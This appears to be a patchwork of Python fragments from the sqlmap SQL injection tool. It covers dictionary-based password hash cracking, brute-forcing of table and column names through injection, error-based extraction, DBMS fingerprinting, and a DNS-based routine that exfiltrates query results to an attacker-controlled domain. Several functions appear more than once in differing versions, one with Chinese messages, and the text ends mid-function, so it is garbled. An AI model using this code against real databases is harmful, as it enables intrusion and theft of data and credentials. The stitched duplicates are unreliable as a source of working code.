infoMsg = "using suffix '%s'" % suffix
logger.info(infoMsg)
retVal = None
processes = []
try:
if _multiprocessing:
if _multiprocessing.cpu_count() > 1:
infoMsg = "starting %d processes " % _multiprocessing.cpu_count(
)
singleTimeLogMessage(infoMsg)
retVal = _multiprocessing.Queue()
found_ = _multiprocessing.Value('i', False)
count = _multiprocessing.Value(
'i', _multiprocessing.cpu_count())
for i in xrange(_multiprocessing.cpu_count()):
p = _multiprocessing.Process(
target=__bruteProcessVariantB,
args=(user, hash_, kwargs, hash_regex,
suffix, retVal, found_, i, count,
kb.wordlists, custom_wordlist))
processes.append(p)
for p in processes:
p.start()
for p in processes:
p.join()
found = found_.value != 0
else:
warnMsg = "multiprocessing hash cracking is currently "
warnMsg += "not supported on this platform"
singleTimeWarnMessage(warnMsg)
class Value():
pass
retVal = Queue()
found_ = Value()
found_.value = False
__bruteProcessVariantB(user, hash_, kwargs,
hash_regex, suffix, retVal,
found_, 0, 1, kb.wordlists,
custom_wordlist)
found = found_.value
except KeyboardInterrupt:
print
processException = True
warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)"
logger.warn(warnMsg)
for process in processes:
try:
process.terminate()
process.join()
except OSError:
pass
finally:
if retVal:
conf.hashDB.beginTransaction()
while not retVal.empty():
user, hash_, word = item = retVal.get(
block=False)
hashDBWrite(hash_, word)
results.append(item)
conf.hashDB.endTransaction()
clearConsoleLine()
def tableExists(tableFile, regex=None):
if kb.tableExistsChoice is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct:
warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED])
warnMsg += "for common table existence check"
logger.warn(warnMsg)
message = "are you sure you want to continue? [y/N] "
kb.tableExistsChoice = readInput(message, default='N', boolean=True)
if not kb.tableExistsChoice:
return None
result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), randomStr())))
if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.db = conf.db.upper()
if result:
errMsg = "can't use table existence check because of detected invalid results "
errMsg += "(most likely caused by inability of the used injection "
errMsg += "to distinguish erroneous results)"
raise SqlmapDataException(errMsg)
message = "which common tables (wordlist) file do you want to use?\n"
message += "[1] default '%s' (press Enter)\n" % tableFile
message += "[2] custom"
choice = readInput(message, default='1')
if choice == '2':
message = "what's the custom common tables file location?\n"
tableFile = readInput(message) or tableFile
infoMsg = "checking table existence using items from '%s'" % tableFile
logger.info(infoMsg)
tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True)
tables.extend(_addPageTextWords())
tables = filterListValue(tables, regex)
threadData = getCurrentThreadData()
threadData.shared.count = 0
threadData.shared.limit = len(tables)
threadData.shared.value = []
threadData.shared.unique = set()
def tableExistsThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.count.acquire()
if threadData.shared.count < threadData.shared.limit:
table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True)
threadData.shared.count += 1
kb.locks.count.release()
else:
kb.locks.count.release()
break
if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
fullTableName = "%s.%s" % (conf.db, table)
else:
fullTableName = table
result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName)))
kb.locks.io.acquire()
if result and table.lower() not in threadData.shared.unique:
threadData.shared.value.append(table)
threadData.shared.unique.add(table.lower())
if conf.verbose in (1, 2) and not conf.api:
clearConsoleLine(True)
infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table))
dataToStdout(infoMsg, True)
if conf.verbose in (1, 2):
status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit))
dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)
kb.locks.io.release()
try:
runThreads(conf.threads, tableExistsThread, threadChoice=True)
except KeyboardInterrupt:
warnMsg = "user aborted during table existence "
warnMsg += "check. sqlmap will display partial output"
logger.warn(warnMsg)
clearConsoleLine(True)
dataToStdout("\n")
if not threadData.shared.value:
warnMsg = "no table(s) found"
logger.warn(warnMsg)
else:
for item in threadData.shared.value:
if conf.db not in kb.data.cachedTables:
kb.data.cachedTables[conf.db] = [item]
else:
kb.data.cachedTables[conf.db].append(item)
for _ in ((conf.db, item) for item in threadData.shared.value):
if _ not in kb.brute.tables:
kb.brute.tables.append(_)
hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True)
return kb.data.cachedTables
def dictionaryAttack(attack_dict):
suffix_list = [""]
custom_wordlist = []
hash_regexes = []
results = []
resumes = []
processException = False
user_hash = []
for (_, hashes) in attack_dict.items():
for hash_ in hashes:
if not hash_:
continue
hash_ = hash_.split()[0]
regex = hashRecognition(hash_)
if regex and regex not in hash_regexes:
hash_regexes.append(regex)
infoMsg = "using hash method '%s'" % __functions__[regex].func_name
logger.info(infoMsg)
for hash_regex in hash_regexes:
keys = set()
attack_info = []
for (user, hashes) in attack_dict.items():
for hash_ in hashes:
if not hash_:
continue
hash_ = hash_.split()[0]
if re.match(hash_regex, hash_):
item = None
if hash_regex not in (HASH.CRYPT_GENERIC, HASH.WORDPRESS):
hash_ = hash_.lower()
if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC):
item = [(user, hash_), {}]
elif hash_regex in (HASH.ORACLE_OLD, HASH.POSTGRES):
item = [(user, hash_), {'username': user}]
elif hash_regex in (HASH.ORACLE):
item = [(user, hash_), {'salt': hash_[-20:]}]
elif hash_regex in (HASH.MSSQL, HASH.MSSQL_OLD):
item = [(user, hash_), {'salt': hash_[6:14]}]
elif hash_regex in (HASH.CRYPT_GENERIC):
item = [(user, hash_), {'salt': hash_[0:2]}]
elif hash_regex in (HASH.WORDPRESS):
item = [(user, hash_), {'salt': hash_[4:12], 'count': 1<<ITOA64.index(hash_[3]), 'prefix': hash_[:12]}]
if item and hash_ not in keys:
resumed = hashDBRetrieve(hash_)
if not resumed:
attack_info.append(item)
user_hash.append(item[0])
else:
infoMsg = "resuming password '%s' for hash '%s'" % (resumed, hash_)
if user and not user.startswith(DUMMY_USER_PREFIX):
infoMsg += " for user '%s'" % user
logger.info(infoMsg)
resumes.append((user, hash_, resumed))
keys.add(hash_)
if not attack_info:
continue
if not kb.wordlists:
while not kb.wordlists:
# the slowest of all methods hence smaller default dict
if hash_regex in (HASH.ORACLE_OLD, HASH.WORDPRESS):
dictPaths = [paths.SMALL_DICT]
else:
dictPaths = [paths.WORDLIST]
message = "what dictionary do you want to use?\n"
message += "[1] default dictionary file '%s' (press Enter)\n" % dictPaths[0]
message += "[2] custom dictionary file\n"
message += "[3] file with list of dictionary files"
choice = readInput(message, default="1")
try:
if choice == "2":
message = "what's the custom dictionary's location?\n"
dictPaths = [readInput(message)]
logger.info("using custom dictionary")
elif choice == "3":
message = "what's the list file location?\n"
listPath = readInput(message)
checkFile(listPath)
dictPaths = getFileItems(listPath)
logger.info("using custom list of dictionaries")
else:
logger.info("using default dictionary")
for dictPath in dictPaths:
checkFile(dictPath)
kb.wordlists = dictPaths
except SqlmapFilePathException, msg:
warnMsg = "there was a problem while loading dictionaries"
warnMsg += " ('%s')" % msg
logger.critical(warnMsg)
message = "do you want to use common password suffixes? (slow!) [y/N] "
test = readInput(message, default="N")
if test[0] in ("y", "Y"):
suffix_list += COMMON_PASSWORD_SUFFIXES
infoMsg = "starting dictionary-based cracking (%s)" % __functions__[hash_regex].func_name
logger.info(infoMsg)
for item in attack_info:
((user, _), _) = item
if user and not user.startswith(DUMMY_USER_PREFIX):
custom_wordlist.append(normalizeUnicode(user))
if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC):
for suffix in suffix_list:
if not attack_info or processException:
break
if suffix:
clearConsoleLine()
infoMsg = "using suffix '%s'" % suffix
logger.info(infoMsg)
retVal = None
processes = []
try:
if _multiprocessing:
if _multiprocessing.cpu_count() > 1:
infoMsg = "starting %d processes " % _multiprocessing.cpu_count()
singleTimeLogMessage(infoMsg)
retVal = _multiprocessing.Queue()
count = _multiprocessing.Value('i', _multiprocessing.cpu_count())
for i in xrange(_multiprocessing.cpu_count()):
p = _multiprocessing.Process(target=_bruteProcessVariantA, args=(attack_info, hash_regex, suffix, retVal, i, count, kb.wordlists, custom_wordlist))
processes.append(p)
for p in processes:
p.start()
for p in processes:
p.join()
else:
warnMsg = "multiprocessing hash cracking is currently "
warnMsg += "not supported on this platform"
singleTimeWarnMessage(warnMsg)
retVal = Queue()
_bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, 0, 1, kb.wordlists, custom_wordlist)
except KeyboardInterrupt:
print
processException = True
warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)"
logger.warn(warnMsg)
for process in processes:
try:
process.terminate()
process.join()
except OSError:
pass
finally:
if retVal:
conf.hashDB.beginTransaction()
while not retVal.empty():
user, hash_, word = item = retVal.get(block=False)
attack_info = filter(lambda _: _[0][0] != user or _[0][1] != hash_, attack_info)
hashDBWrite(hash_, word)
results.append(item)
conf.hashDB.endTransaction()
clearConsoleLine()
else:
for ((user, hash_), kwargs) in attack_info:
if processException:
break
if any(_[0] == user and _[1] == hash_ for _ in results):
continue
count = 0
found = False
for suffix in suffix_list:
if found or processException:
break
if suffix:
clearConsoleLine()
infoMsg = "using suffix '%s'" % suffix
logger.info(infoMsg)
retVal = None
processes = []
try:
if _multiprocessing:
if _multiprocessing.cpu_count() > 1:
infoMsg = "starting %d processes " % _multiprocessing.cpu_count()
singleTimeLogMessage(infoMsg)
retVal = _multiprocessing.Queue()
found_ = _multiprocessing.Value('i', False)
count = _multiprocessing.Value('i', _multiprocessing.cpu_count())
for i in xrange(_multiprocessing.cpu_count()):
p = _multiprocessing.Process(target=_bruteProcessVariantB, args=(user, hash_, kwargs, hash_regex, suffix, retVal, found_, i, count, kb.wordlists, custom_wordlist))
processes.append(p)
for p in processes:
p.start()
for p in processes:
p.join()
found = found_.value != 0
else:
warnMsg = "multiprocessing hash cracking is currently "
warnMsg += "not supported on this platform"
singleTimeWarnMessage(warnMsg)
class Value():
pass
retVal = Queue()
found_ = Value()
found_.value = False
_bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found_, 0, 1, kb.wordlists, custom_wordlist)
found = found_.value
except KeyboardInterrupt:
print
processException = True
warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)"
logger.warn(warnMsg)
for process in processes:
try:
process.terminate()
process.join()
except OSError:
pass
finally:
if retVal:
conf.hashDB.beginTransaction()
while not retVal.empty():
user, hash_, word = item = retVal.get(block=False)
hashDBWrite(hash_, word)
results.append(item)
conf.hashDB.endTransaction()
clearConsoleLine()
def tableExists(tableFile, regex=None):
result = inject.checkBooleanExpression(
"%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE,
(randomInt(1), randomStr())))
if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.db = conf.db.upper()
if result:
errMsg = "can't use table existence check because of detected invalid results "
errMsg += "(most probably caused by inability of the used injection "
errMsg += "to distinguish errornous results)"
raise SqlmapDataException(errMsg)
tables = getFileItems(tableFile,
lowercase=Backend.getIdentifiedDbms()
in (DBMS.ACCESS, ),
unique=True)
infoMsg = "checking table existence using items from '%s'" % tableFile
logger.info(infoMsg)
tables.extend(_addPageTextWords())
tables = filterListValue(tables, regex)
threadData = getCurrentThreadData()
threadData.shared.count = 0
threadData.shared.limit = len(tables)
threadData.shared.value = []
threadData.shared.unique = set()
def tableExistsThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.count.acquire()
if threadData.shared.count < threadData.shared.limit:
table = safeSQLIdentificatorNaming(
tables[threadData.shared.count], True)
threadData.shared.count += 1
kb.locks.count.release()
else:
kb.locks.count.release()
break
if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms(
) not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
fullTableName = "%s%s%s" % (
conf.db, '..' if Backend.getIdentifiedDbms() in
(DBMS.MSSQL, DBMS.SYBASE) else '.', table)
else:
fullTableName = table
result = inject.checkBooleanExpression(
"%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE,
(randomInt(1), fullTableName)))
kb.locks.io.acquire()
if result and table.lower() not in threadData.shared.unique:
threadData.shared.value.append(table)
threadData.shared.unique.add(table.lower())
if conf.verbose in (1, 2) and not hasattr(conf, "api"):
clearConsoleLine(True)
infoMsg = "[%s] [INFO] retrieved: %s\r\n" % (time.strftime(
"%X"), unsafeSQLIdentificatorNaming(table))
dataToStdout(infoMsg, True)
if conf.verbose in (1, 2):
status = '%d/%d items (%d%%)' % (
threadData.shared.count, threadData.shared.limit,
round(100.0 * threadData.shared.count /
threadData.shared.limit))
dataToStdout(
"\r[%s] [INFO] tried %s" % (time.strftime("%X"), status),
True)
kb.locks.io.release()
try:
runThreads(conf.threads, tableExistsThread, threadChoice=True)
except KeyboardInterrupt:
warnMsg = "user aborted during table existence "
warnMsg += "check. sqlmap will display partial output"
logger.warn(warnMsg)
clearConsoleLine(True)
dataToStdout("\n")
if not threadData.shared.value:
warnMsg = "no table(s) found"
logger.warn(warnMsg)
else:
for item in threadData.shared.value:
if conf.db not in kb.data.cachedTables:
kb.data.cachedTables[conf.db] = [item]
else:
kb.data.cachedTables[conf.db].append(item)
for _ in ((conf.db, item) for item in threadData.shared.value):
if _ not in kb.brute.tables:
kb.brute.tables.append(_)
hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True)
return kb.data.cachedTables
def columnExists(columnFile, regex=None):
if kb.columnExistsChoice is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct:
warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED])
warnMsg += "for common column existence check"
logger.warn(warnMsg)
message = "are you sure you want to continue? [y/N] "
kb.columnExistsChoice = readInput(message, default='N', boolean=True)
if not kb.columnExistsChoice:
return None
if not conf.tbl:
errMsg = "missing table parameter"
raise SqlmapMissingMandatoryOptionException(errMsg)
if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.db = conf.db.upper()
result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr())))
if result:
errMsg = "can't use column existence check because of detected invalid results "
errMsg += "(most likely caused by inability of the used injection "
errMsg += "to distinguish erroneous results)"
raise SqlmapDataException(errMsg)
message = "which common columns (wordlist) file do you want to use?\n"
message += "[1] default '%s' (press Enter)\n" % columnFile
message += "[2] custom"
choice = readInput(message, default='1')
if choice == '2':
message = "what's the custom common columns file location?\n"
columnFile = readInput(message) or columnFile
infoMsg = "checking column existence using items from '%s'" % columnFile
logger.info(infoMsg)
columns = getFileItems(columnFile, unique=True)
columns.extend(_addPageTextWords())
columns = filterListValue(columns, regex)
table = safeSQLIdentificatorNaming(conf.tbl, True)
if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table)
kb.threadContinue = True
kb.bruteMode = True
threadData = getCurrentThreadData()
threadData.shared.count = 0
threadData.shared.limit = len(columns)
threadData.shared.value = []
def columnExistsThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.count.acquire()
if threadData.shared.count < threadData.shared.limit:
column = safeSQLIdentificatorNaming(columns[threadData.shared.count])
threadData.shared.count += 1
kb.locks.count.release()
else:
kb.locks.count.release()
break
result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table)))
kb.locks.io.acquire()
if result:
threadData.shared.value.append(column)
if conf.verbose in (1, 2) and not conf.api:
clearConsoleLine(True)
infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column))
dataToStdout(infoMsg, True)
if conf.verbose in (1, 2):
status = "%d/%d items (%d%%)" % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit))
dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)
kb.locks.io.release()
try:
runThreads(conf.threads, columnExistsThread, threadChoice=True)
except KeyboardInterrupt:
warnMsg = "user aborted during column existence "
warnMsg += "check. sqlmap will display partial output"
logger.warn(warnMsg)
clearConsoleLine(True)
dataToStdout("\n")
if not threadData.shared.value:
warnMsg = "no column(s) found"
logger.warn(warnMsg)
else:
columns = {}
for column in threadData.shared.value:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL,):
result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column)))
else:
result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column)))
if result:
columns[column] = "numeric"
else:
columns[column] = "non-numeric"
kb.data.cachedColumns[conf.db] = {conf.tbl: columns}
for _ in ((conf.db, conf.tbl, item[0], item[1]) for item in list(columns.items())):
if _ not in kb.brute.columns:
kb.brute.columns.append(_)
hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True)
return kb.data.cachedColumns
def __oneShotErrorUse(expression, field):
retVal = hashDBRetrieve(expression, checkConf=True)
threadData = getCurrentThreadData()
threadData.resumed = retVal is not None
offset = 1
chunk_length = None
if retVal is None:
while True:
check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
trimcheck = "%s(?P<result>.*?)</" % (kb.chars.start)
nulledCastedField = agent.nullAndCastField(field)
if Backend.isDbms(DBMS.MYSQL):
chunk_length = MYSQL_ERROR_CHUNK_LENGTH
nulledCastedField = queries[DBMS.MYSQL].substring.query % (
nulledCastedField, offset, chunk_length)
elif Backend.isDbms(DBMS.MSSQL):
chunk_length = MSSQL_ERROR_CHUNK_LENGTH
nulledCastedField = queries[DBMS.MSSQL].substring.query % (
nulledCastedField, offset, chunk_length)
# Forge the error-based SQL injection request
vector = kb.injection.data[PAYLOAD.TECHNIQUE.ERROR].vector
query = agent.prefixQuery(vector)
query = agent.suffixQuery(query)
injExpression = expression.replace(field, nulledCastedField, 1)
injExpression = unescaper.unescape(injExpression)
injExpression = query.replace("[QUERY]", injExpression)
payload = agent.payload(newValue=injExpression)
# Perform the request
page, headers = Request.queryPage(payload, content=True)
incrementCounter(PAYLOAD.TECHNIQUE.ERROR)
# Parse the returned page to get the exact error-based
# SQL injection output
output = reduce(lambda x, y: x if x is not None else y, [ \
extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \
extractRegexResult(check, listToStrValue(headers.headers \
if headers else None), re.DOTALL | re.IGNORECASE), \
extractRegexResult(check, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)], \
None)
if output is not None:
output = getUnicode(output, kb.pageEncoding)
else:
trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \
or extractRegexResult(trimcheck, listToStrValue(headers.headers \
if headers else None), re.DOTALL | re.IGNORECASE) \
or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if trimmed:
warnMsg = "possible server trimmed output detected (due to its length): "
warnMsg += trimmed
logger.warn(warnMsg)
if any(
map(lambda dbms: Backend.isDbms(dbms),
[DBMS.MYSQL, DBMS.MSSQL])):
if offset == 1:
retVal = output
else:
retVal += output if output else ''
if output and len(output) >= chunk_length:
offset += chunk_length
else:
break
else:
retVal = output
break
retVal = decodeHexValue(retVal) if conf.hexConvert else retVal
if isinstance(retVal, basestring):
retVal = htmlunescape(retVal).replace("<br>", "\n")
retVal = __errorReplaceChars(retVal)
hashDBWrite(expression, retVal)
else:
_ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
retVal = extractRegexResult(_, retVal,
re.DOTALL | re.IGNORECASE) or retVal
return safecharencode(retVal) if kb.safeCharEncode else retVal
def getFingerprint(self):
fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK)
if fork is None:
if inject.checkBooleanExpression("VERSION() LIKE '%MariaDB%'"):
fork = FORK.MARIADB
elif inject.checkBooleanExpression("VERSION() LIKE '%TiDB%'"):
fork = FORK.TIDB
elif inject.checkBooleanExpression(
"@@VERSION_COMMENT LIKE '%drizzle%'"):
fork = FORK.DRIZZLE
elif inject.checkBooleanExpression(
"@@VERSION_COMMENT LIKE '%Percona%'"):
fork = FORK.PERCONA
elif inject.checkBooleanExpression(
"AURORA_VERSION() LIKE '%'"
): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/
fork = FORK.AURORA
else:
fork = ""
hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork)
value = ""
wsOsFp = Format.getOs("web server", kb.headersFp)
if wsOsFp and not conf.api:
value += "%s\n" % wsOsFp
if kb.data.banner:
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
if dbmsOsFp and not conf.api:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
actVer = Format.getDbms()
if not conf.extensiveFp:
value += actVer
if fork:
value += " (%s fork)" % fork
return value
comVer = self._commentCheck()
blank = " " * 15
value += "active fingerprint: %s" % actVer
if comVer:
comVer = Format.getDbms([comVer])
value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
if kb.bannerFp:
banVer = kb.bannerFp.get("dbmsVersion")
if banVer:
if banVer and re.search(r"-log$", kb.data.banner or ""):
banVer += ", logging enabled"
banVer = Format.getDbms([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = Format.getErrorParsedDBMSes()
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank,
htmlErrorFp)
if fork:
value += "\n%sfork fingerprint: %s" % (blank, fork)
return value
def tableExists(tableFile, regex=None):
if kb.tableExistsChoice is None and not any(
_ for _ in kb.injection.data
if _ not in (PAYLOAD.TECHNIQUE.TIME,
PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct:
warnMsg = u"不建议使用'%s'和'%s'" % (
PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME],
PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED])
warnMsg += u"对常用的表的存在性进行检查"
logger.warn(warnMsg)
message = u"你确定要继续吗? [y/N] "
kb.tableExistsChoice = readInput(message, default='N', boolean=True)
if not kb.tableExistsChoice:
return None
result = inject.checkBooleanExpression(
"%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE,
(randomInt(1), randomStr())))
if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.db = conf.db.upper()
if result:
errMsg = u"因为检测到的结果无效，所以无法对数据库中的表的存在性进行检查，"
errMsg += u"(很可能是由于使用的注入无法区分错误结果)"
raise SqlmapDataException(errMsg)
message = u"您要使用哪些常用表(wordlist)文件?\n"
message += u"[1] 默认 '%s' (按回车键)\n" % tableFile
message += u"[2] 自定义"
choice = readInput(message, default='1')
if choice == '2':
message = u"自定义的常用表文件位置在哪里?\n"
tableFile = readInput(message) or tableFile
infoMsg = u"使用自己提供的表文件'%s'检查表的存在性" % tableFile
logger.info(infoMsg)
tables = getFileItems(tableFile,
lowercase=Backend.getIdentifiedDbms()
in (DBMS.ACCESS, ),
unique=True)
tables.extend(_addPageTextWords())
tables = filterListValue(tables, regex)
threadData = getCurrentThreadData()
threadData.shared.count = 0
threadData.shared.limit = len(tables)
threadData.shared.value = []
threadData.shared.unique = set()
def tableExistsThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.count.acquire()
if threadData.shared.count < threadData.shared.limit:
table = safeSQLIdentificatorNaming(
tables[threadData.shared.count], True)
threadData.shared.count += 1
kb.locks.count.release()
else:
kb.locks.count.release()
break
if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms(
) not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
fullTableName = "%s.%s" % (conf.db, table)
else:
fullTableName = table
result = inject.checkBooleanExpression(
"%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE,
(randomInt(1), fullTableName)))
kb.locks.io.acquire()
if result and table.lower() not in threadData.shared.unique:
threadData.shared.value.append(table)
threadData.shared.unique.add(table.lower())
if conf.verbose in (1, 2) and not conf.api:
clearConsoleLine(True)
infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime(
"%X"), unsafeSQLIdentificatorNaming(table))
dataToStdout(infoMsg, True)
if conf.verbose in (1, 2):
status = '%d/%d items (%d%%)' % (
threadData.shared.count, threadData.shared.limit,
round(100.0 * threadData.shared.count /
threadData.shared.limit))
dataToStdout(
"\r[%s] [INFO] tried %s" % (time.strftime("%X"), status),
True)
kb.locks.io.release()
try:
runThreads(conf.threads, tableExistsThread, threadChoice=True)
except KeyboardInterrupt:
warnMsg = u"用户在检查表的存在性期间中止，sqlmap将只显示部分输出"
logger.warn(warnMsg)
clearConsoleLine(True)
dataToStdout("\n")
if not threadData.shared.value:
warnMsg = u"没有发现表"
logger.warn(warnMsg)
else:
for item in threadData.shared.value:
if conf.db not in kb.data.cachedTables:
kb.data.cachedTables[conf.db] = [item]
else:
kb.data.cachedTables[conf.db].append(item)
for _ in ((conf.db, item) for item in threadData.shared.value):
if _ not in kb.brute.tables:
kb.brute.tables.append(_)
hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True)
return kb.data.cachedTables
def dnsUse(payload, expression):
"""
Retrieve the output of a SQL query taking advantage of the DNS
resolution mechanism by making request back to attacker's machine.
"""
start = time.time()
retVal = None
count = 0
offset = 1
if conf.dnsName and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL):
output = hashDBRetrieve(expression, checkConf=True)
if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
output = None
if output is None:
kb.dnsMode = True
while True:
count += 1
prefix, suffix = ("%s" % randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET) for _ in xrange(2))
chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL / 4 - 2
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)
nulledCastedField = agent.hexConvertField(nulledCastedField)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsName)
expressionUnescaped = unescaper.escape(expressionRequest)
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
query = agent.prefixQuery("; %s" % expressionUnescaped)
query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query)
forgedPayload = agent.payload(newValue=query)
else:
forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3)))
Request.queryPage(forgedPayload, content=False, noteResponseTime=False, raise404=False)
_ = conf.dnsServer.pop(prefix, suffix)
if _:
_ = extractRegexResult("%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
_ = decodeHexValue(_)
output = (output or "") + _
offset += len(_)
if len(_) < chunk_length:
break
else:
break
output = decodeHexValue(output) if conf.hexConvert else output
kb.dnsMode = False
if output is not None:
retVal = output
if kb.dnsTest is not None:
dataToStdout("[%s] [INFO] %s: %s\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output)))
if count > 0:
hashDBWrite(expression, output)
if not kb.bruteMode:
debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start))
logger.debug(debugMsg)
elif conf.dnsName:
warnMsg = "DNS data exfiltration method through SQL injection "
warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms()
singleTimeWarnMessage(warnMsg)
return safecharencode(retVal) if kb.safeCharEncode else retVal
def _oneShotUnionUse(expression, unpack=True, limited=False):
retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted
threadData = getCurrentThreadData()
threadData.resumed = retVal is not None
if retVal is None:
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
if not kb.rowXmlMode:
injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
